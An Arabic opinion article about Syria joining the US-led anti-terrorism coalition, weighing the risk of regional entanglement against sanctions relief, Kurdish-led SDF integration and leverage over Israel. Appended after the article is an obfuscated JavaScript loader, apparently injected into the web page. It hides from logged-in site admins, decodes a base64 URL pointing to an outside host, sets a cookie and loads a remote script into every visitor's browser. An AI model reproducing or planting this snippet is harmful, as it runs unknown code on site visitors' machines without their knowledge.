
انضمام سوريا إلى التحالف الدولي.. مخاطر وفرص
بناء على ما جاء في بيان توم براك، واعتبر «أنّ انضمام سوريا إلى التحالف الدولي… يمثّل انتقال سوريا من مصدر للإرهاب إلى شريك في مكافحة الإرهاب» و«التزاماً.. بالتعاون والمساهمة في استقرار المنطقة بأكملها»، بما يترتّب على دمشق القيام بمساعدة الولايات المتّحدة «بشكل فعّال في مواجهة وتفكيك بقايا داعش والحرس الثوري الإيراني وحماس وحزب الله وغيرها من الشبكات الإرهابية»،
وعلى عدم حسم قضيّة رفع العقوبات في الكونغرس بشكل كامل، واقتصار دور الإدارة، كما عبّر عنه «توماس براك»، على «مناشدة وحثّه (الكونغرس) على اتخاذ هذه الخطوة التاريخية»، وحاجة الجميع «إلى دفعة أخيرة قوية لتمكين الحكومة السورية الجديدة من إعادة تشغيل محركها الاقتصادي، وتمكين الشعب السوري.. ليس فقط من البقاء، بل من الازدهار أيضاً»، بما يترك العقوبات ورقة ضغط على الرئيس السوري في يد الإدارة الأمريكية، كما كانت تماماً في إدارة ملفات الصراع على سوريا مع الرئيس الأسد وبايدن.
وعلى عدم وضع آليات تنفيذ واضحة وفعّالة لـ «دمج قوات سوريا الديمقراطية في الهيكل الاقتصادي والدفاعي والمدني السوري الجديد»، وبالتالي إبقاء إجراءات حلّ ملفها على مستوى «رسم المرحلة التالية من إطار العمل الأمريكي التركي السوري».
وعلى حقيقة أنّه قد تمّ هزيمة داعش قبل نهاية 2019، كما أعلن ترامب شخصياً، وأنّ التهديد الذي تمثّله بقايا عناصر غير منظّمة ليس سوى «شمّاعة»، ولا تملك قوّة حقيقية قادرة على تهديد مصالح أيّ من الأطراف، خاصة الولايات المتّحدة الأمريكية،
على السوريين في السلطة والرأي العام الحذر من مخاطر احتمالات زجّ سوريا في معارك إقليمية، لصالح أجندات غير سورية، والتنبّه إلى إمكانية وجود «أفخاخ» في أهداف ومسارات انضمام سوريا إلى التحالف الدولي لمكافحة الإرهاب، يرتبط أخطرها بأجندات توريط الدولة السورية الجديدة والشعب السوري في صراعات إقليمية واسعة، تحمل مخاطر كبيرة.
من جهة ثانية، تلك القراءة السياسية لا تعني توافقنا مع آراء وقراءات يعتقد أصحابها «أنّ حماية أمن إسرائيل ومصالحها يأتي في رأس أولويات وقائمة أجندات سياسات إدارة ترامب»، خاصة في دوافع سعيها لضمّ سوريا إلى تحالفها الدولي لمكافحة الإرهاب!
ما ميّز زيارة الرئيس أحمد الشرع إلى واشنطن وأعطى نتائجها طابعاً تاريخيا يتعلّق بطبيعة أهداف أجندات وجهود القيادة السورية التي سعت لتوظيف أنشطة الزيارة إلى واشنطن والبيت الأبيض فيما يصبّ في إطار جهودها لتوفير شروط استقرار سوريا ووحدتها ونهضتها الاقتصادية.
لقد تضمّنت الزيارة ثلاثة محاور رئيسية، وسعت لتحقيق إنجازات متنوعة على جميع الصعد، السياسية والاقتصادية والأمنية، سيكون لها تأثيرات إيجابية مباشرة على جميع التحولات الجارية في الداخل السوري، وعلى صعيد مواجهة تحدّيات القوى الخارجة عن سلطة الدولة المركزية.
1- لقاء ممثلي المنظمات السورية الأمريكية والجالية السورية الأمريكية أظهر وعياً وطنيّاً لأهمية تعزيز خيوط التواصل مع أبناء الجالية السورية والعلاقات بين سوريا الجديدة والسوريين في الولايات المتّحدة، عزّزه ما حصل من حوارات وتساؤلات شفافة وصريحة، تناول خلالها الرئيس معظم القضايا التي تهمّ الرأي العام السوري في الداخل والخارج.
2- زيارة غرفة التجارة الأمريكية ولقاء رئيسة البنك الدولي، تؤشّر إلى وعي بأهمية تعزيز مصالح سوريا الاقتصادية في سياق تطلّعات المؤسسات المالية وشركات الاستثمار الأمريكية.
3- زيارة البيت البيضاوي التاريخية. تناولت المفاوضات جميع هموم الأمن القومي السوري والإقليمي المشتركة، وركّزت على توفير شروط قيام دولة مركزية موحّدة، قادرة على تلبية التزاماتها تجاه جهود محاربة الإرهاب والتطرّف، وهي مسارات وجهود مترابطة جدليّاً، ولا يمكن الفصل بينها. لقد أكّد بيانا وزارة الخارجية السورية وتوماس براك على وقائع وحقائق هذا الترابط، وما تمثّله الزيارة من فرصة تاريخية، شكّلت «نقطة تحول حاسمة في التاريخ الحديث للشرق الأوسط، وفي التحول الملحوظ لسوريا من العزلة إلى الشراكة»، كما جاء في بيان «توماس براك».
على أية حال، مع وجود إمكانية أن تُدخل الشراكة الاستراتيجية السورية الأمريكية ضدّ الإرهاب سوريا في مخاطر وحروب جديدة، خاصة في لبنان، على حساب استقرار سوريا وأمنها القومي، فثمّة مزايا لهذا التحوّل النوعي في موقع سوريا الجيوسياسي… كلّ الوقائع الجديدة تبيّن فوائد تقاطع المصالح والسياسات المشتركة على سوريا، بدءاً من إسقاط سلطة الاسد وتفكيك شبكة السيطرة الإيرانية، ورفع العقوبات، وإطلاق مشاريع نهضة اقتصادية، وتنظيم العلاقات مع إسرائيل على أسس واضحة، قد تؤدي في سياق تسويات سياسية إقليمية شاملة إلى استعادة الجولان.. وثمّة فرص لتحييد المجموعات الأجنبية والمتطرّفة، ولتجنّب المواجهات مع قسد، ومنع قيام كانتونات انفصالية في الساحل والسويداء.
صحيح أنّ السلطة الجديدة أدركت طبيعة مخاطر تفجّر حروب جديدة، وسعت لتجنّبها مع قسد عبر التوصل إلى اتفاقيات وطنية، وصحيح أنّها لم تحقق نتائج عملية لأسباب ترتبط بمصالح قيادات قسد الخاصة، وتطلّعها إلى الحفاظ على مزايا بقاء كيانها الجيوسياسي المستقل، لكن من الصحيح أيضا أنّ مزيداً من الضغوط الأمريكية السورية في إطار التحالف الجديد قد يجبر قيادات قسد الأكثر تشدداً على الرضوخ لشروط الدمج، وتجنّب القيادة دفع أثمان سياسية، والسوريين آلام ومخاطر اندلاع معارك جديدة، قد تتحوّل في ظلّ شروط الصراع الراهنة إلى مواجهات عشائرية وقومية، تخلق افضل شروط إعادة ظهور داعش وتمددها.
لا يمكن تجاهل أن موقع سوريا الأمني والدفاعي الجديد يضع على حكومة الكيان ضغوطاً، ويفرض على إسرائيل شروطاً في المفاوضات مع سوريا، لم تكن موجودة، كما يمكن لوجود قواعد استطلاع رمزية في الجنوب السوري أن يمنع مباشرة استمرار الهجمات والاعتداءات الإسرائيلية في الداخل السوري.
إضافة إلى ما سبق، لا توجد شروط واقعية لإمكانية تورّط الدولة السورية الجديدة في مخاطر الحروب الأمريكية ضدّ داعش، وهي التي لم تعد موجودة كقوة عسكرية، وتأخذ محاربتها أشكالاً أمنية واستخبارية بالدرجة الأولى.
في خلاصة القول، إذا كان من واجبنا التنبه لمخاطر توريط سوريا، فمن مصلحتنا وواجبنا أن ندرك أن ما تقوم به القيادة السياسية اليوم على صعيد العلاقات الخارجية، ويؤدّي إلى إعادة تموضع سوريا في منظومة شبكة السيطرة الإقليمية الأمريكية، جنباً إلى جنب مع تركيا والمملكة العربية السعودية، يصحح خطأ تاريخياً حملت عواقبه نتائج مدمّرة، اقترفه الرئيس الراحل شكري القوتلي عندما لم يتجاوب مع جهود أمريكية سعودية لإقامة علاقات استراتيجية مع واشنطن، وأدخل سوريا في متاهات محاور أنظمة الاستبداد الناصرية السوفييتية، ومن ثمّ الروسية الإيرانية، ويبيّن طبيعته الوطنية، ويسعى في أهداف القيادة السياسية السورية إلى توفير شروط استقرار سوريا ونهضتها، بما يتوافق مع مصالح وسياسات الاستقرار الإقليمي، وهو ما يوجب علينا إدراك طبيعته الوطنية، وفوائد دعم السوريين للقيادة السياسية، ومخاطر إضعاف مواقفها.
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();